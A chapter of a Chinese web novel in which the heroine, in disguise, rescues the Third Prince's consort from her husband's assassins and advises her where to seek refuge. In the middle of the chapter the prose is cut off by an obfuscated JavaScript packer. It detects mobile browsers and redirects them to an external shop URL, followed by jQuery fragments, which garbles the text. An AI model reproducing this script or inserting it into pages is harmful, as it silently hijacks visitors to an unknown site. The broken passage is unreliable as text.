59. 揭露毒计
作品:《太子妃的美强惨暗卫》 姜黎远远瞧见依偎在角落里的几名女眷,其中两名是丫鬟,一名是婆子,还有一名则是面容轮廓有些熟悉的贵妇。
纳罕之余,她眯着眼凑近去辨认一番后才彻底看清,等等,这不是那位许久不见的三皇子妃么!
“三皇子妃!你怎么在这里?”姜黎忍不住脱口而出。
被吓得恍惚的三皇子妃瑟缩着从婆子怀里探出头来,惊魂未定着问:“二位……二位侠士认得我?”
姜黎下意识摸了摸脸,这才想起自己此刻易了容,刚思索着要不要表明身份时,一旁的影玖警惕地将她拽回了自己身后:“刚刚那几人不像是普通歹徒,我们还是莫要管这些闲事了。”
昏暗的巷角很是安静,以至于将这具低语衬托得带了冰冷了回音,将对面的几名女眷吓得愈发魂不附体。
三皇子妃霎时再顾不得任何体面,连滚带爬地扑过去哀求:“壮士!壮士留步!求壮士护送我等回府,我……我随行的两名护卫被人流冲散了,现在身边只有几名女眷,实在害怕……”
姜黎回想起之前从太子那儿听来的传闻,便试探着问了一句:“你想回哪里?是回三皇子府么?”
对方一听,脸色煞白,连连摇头:“不!不回皇子府!是回我娘家!”
这打从心底的恐惧不似作假,顿时让姜黎明白太子之前对三皇子的推断竟并非空穴来风,难不成那三皇子竟当真如此丧尽天良?
就在姜黎迟疑之际,三皇子妃又焦急着补充道:“还望二位去府内做个人证,向我父亲说明歹人样貌行迹,我父亲乃是刑部尚书周大人,他与当今大理寺卿乃是故交,若能协助将这群歹人绳之以法,必定重金酬谢!”
原本还迟疑着要不要送佛送到西的姜黎,一听这个立马也不犹豫了。
如今影玖可是顶着自己的面孔,怎可能让他去三皇子岳父那个对家露脸呢?纵使她再怎么圣母心泛滥,也知这个险段是不能冒的。
“抱歉,我们只是路见不平罢了,并不想惹祸上身,就此别过了。”姜黎答得礼貌,扭头便想离开。
三皇子妃吓得什么矜持也不敢顾了,脱口而出道:“二位侠士怎能这般见死不救?救人只救一半又与杀人何异?!”
然而,这般的慌不择言,却也是让好脾气的姜黎有些不爽了,蹙起眉头瞪向她:“喂,能不能不要道德绑架?要杀你的人明明是你自己丈夫,你不敢向他撒气,就来向我们路人撒气是么?”
三皇子妃瞳孔骤缩,整张脸凝滞在了那里,仿佛听到了什么自己不敢面对的噩梦一般,只颤抖着指着她:“不!不可能是他要杀我!我……我可是他的正妻啊!是他明媒正娶的发妻啊!”
她好像努力劝说着自己,像是想抓住什么救命稻草般不停重复。
姜黎觉得她精神是有些崩溃了,否则怎会连质问他俩身份都忘了,只自顾自的沉浸在自己的情绪里。
眼见之前那般趾高气扬的三皇子妃变得如此狼狈,姜黎也难免有些于心不忍,只轻叹一口气:“是不是真的,你自己不知道么?假如你自己当真不相信的话,又怎会连三皇子府都不敢回呢?”
这最后一句反问终于戳破了三皇子妃的最后一丝心神,令她趴倒在地捂着胸口嚎啕大哭起来:“呜呜……不会的,他……他怎能这样对我!怎能这样对我啊!我已经力所能及的做好了我的所有能做的事,我这个妻子难道还有哪里没做好么?他为什么……为什么能这么狠心!”
作为受害者,临到最后还在反思自己,让人觉得何其可悲。
“对于恶人来说,他们作恶的理由只是想作恶,仅此而已,所以哪怕你做得再好,他们也不会在意的。”姜黎作为旁观者冷静的分析,却成了敲碎人心防的锤子,将所有的自欺欺人都击得粉身碎骨。
三皇子妃只捂着脑袋继续惝恍抽泣:“呜呜……我为他生儿育女,殚精竭虑这么多年,怎么可以……怎么可以……”
一旁的嬷嬷抹着泪将她扶起:“小姐莫哭了,我们回周府去告诉老爷,让老爷替我们做主吧!”
三皇子妃却哭得愈发伤心,只绝望地摇头:“父亲不会相信我的,只会相信那人所言,说是太子派人挑拨离间……他……他早就打好了说稿!嬷嬷,我若没有证据没人会相信我的……”
另一名丫鬟也哭着趴到三皇子妃身边提议:“我们要不还是回去告诉夫人吧?夫人平日里是最疼小姐的!”
“最疼我?”她苍凉一笑,语调尤似讥嘲:“我娘只会抱怨是我无用,不懂栓住男人的心,她不一直都是这么念叨的么?嫁出去的女儿泼出去的水,你真当他们敢去替我讨回公道?他们顶多就是劝我和离,可皇家儿媳哪有可能和离呢?我只会成为弃妇!一辈子的弃妇啊!”
她哭得声声泣血,听在姜黎耳里,却有种物伤其类的悲悯,终是难掩生出了恻隐之心。
“不如……你去找大长公主试试?”姜黎思忖了半晌,试探着提出了一个她所能想到的建议:“大慈恩寺本就是皇家女眷们祈福的地方,你以斋戒为由前去投奔大长公主,说不定她能够将你护住。”
“什么?”三皇子妃哭了许久,直到力气耗尽,才茫然地抬起泪眼,开始想起来询问眼前人的来历:“敢问……姑娘究竟是何方神圣?”
既能认出自己是三皇子妃,又能知晓大长公主,很显然已经不是普通拔刀相助的路人了。
姜黎也知身份不好满下,就顺口扯谎道:“我乃太子妃身边的丫鬟,名叫榴莲,两个月前曾在大慈恩寺见过您,您忘了么?”
之前身边那名叫“榴莲”的小丫鬟就是在那次意外身亡的,所以姜黎也不怕她细查,倘若这三皇子妃当真恩将仇报还想来查自己,就用“闹鬼”一说吓死她也好。
“你……你们竟是太子妃的人……”三皇子妃没想到自己竟是被太子妃所救,顿觉羞愧难堪,低头摸了摸泪,有些恍惚着问:“可是……大长公主那般厌恶我,她当真会愿意帮我么?”
回想起大长公主那张威严而高傲的脸,姜黎却莫名的觉得她是个外冷内热的长辈,再说,她老人家本身不也救过她俩一命么?
于是,姜黎肯定地点点头:“只要你这次不是为了三皇子去,而是为了你自己而去,我相信她会救你的。”
“好,那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409906|194962||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……那我明日便出城试试。”三皇子妃又心有余悸地看了看对面的街角,犹豫着道:“我明日定会请最好的护卫与镖师护送我,可眼下……眼下我怕那群歹人若是在周府路上再拦我该怎么办?我……我只恨今日只带了几名女眷和小厮出来。”
看样子,方才的追杀的确给她落下了心理阴影,但姜黎肯定是不会让影玖冒险送人回府的,正当左右为难之际,却是影玖上前一步,掏出了一个袖珍的牙牌。
“走出这条街往右拐,就是皇城司的哨岗,将这个牙牌去给对方的卫长看,他便会拨出一队人护送你回家。”影玖解释得言简意赅,却是点到为止。
三皇子妃接过来小心端详,却觉得这不像官物更像私牌,难免踌躇地看向他:“这……这是……”
影玖看出了她的顾虑,也不曾避讳着直言道:“不错,这是太子府内的信物,能动用的是太子府的眼线,所以你可仔细斟酌,一旦启用了它,就表示你便与太子一党有了纠葛,往后若是被三皇子发现,你将陷入两难境地,不过……”他微垂着眼眸,语调不带情绪地陈述:“如今三皇子都想杀你了,你的立场究竟如何他应当也不会在意了吧?”
三皇子妃被刺得浑身一颤,却是强忍着抽泣,不敢辩驳,只能紧握着牙牌将指节掐得发白。
是啊,如今自己夫君都要杀妻了,还会在意有什么二心么?
影玖适时停顿了须臾,便轻理了理衣袖,扔下最后一句申敕:“要么自力更生,要么投靠太子,想怎么选,就看你自己了。”
既然救了人,自然也不能白救。
影玖本意并不是想给太子做好人,所以留下的是在自己势力范围内的牙牌,为的是将三皇子妃拖下水,也算是一个三皇子妃的把柄,管它将来能不能用得上,先嵌入一个钉子再说。
几番纠结之后,三皇子妃也终于下定决心地将牙牌收好,冲他俩真挚点头道:“请代我向太子妃说一声,谢谢……”
顶着一张艳俗花脸的某位太子妃本人:“嗯嗯,不客气。”
经过今夜这般惊心动魄的一幕后,姜黎也难免感慨万千。
本来之前觉得三皇子妃这个女人着实不讨喜,可经过这么一出后,又觉得她也着实可怜,竟摊上这么一个穷凶极恶的丈夫,一时真是很难评价太子和三皇子哪个更不做人了,果然不愧是亲兄弟啊。
回到家后,姜黎又不经意地回想起了那个叫“榴莲”的小丫鬟,还有因保护她而殉职的护卫,这些无辜之人其实也算是被三皇子所害,虽说她后来重金抚恤了他们的家人将他们厚葬,可人死却是不能复生,而作为罪魁祸首的三皇子却仍旧逍遥法外,甚至于没有付出任何代价,这让姜黎着实觉得被憋了一口气,下不去上不了。
“阿枫……”在黑暗里,躺在床上久久未眠的姜黎,忍不住轻声呼唤了一句。
“在。”一直守在床边的那个身影再次站起身来。
“你说,三皇子这样的人,将来会遭报应么?”
影玖先是一息沉默,而后坚定回答。
“你若想有,那么,他便会有。”
“……”

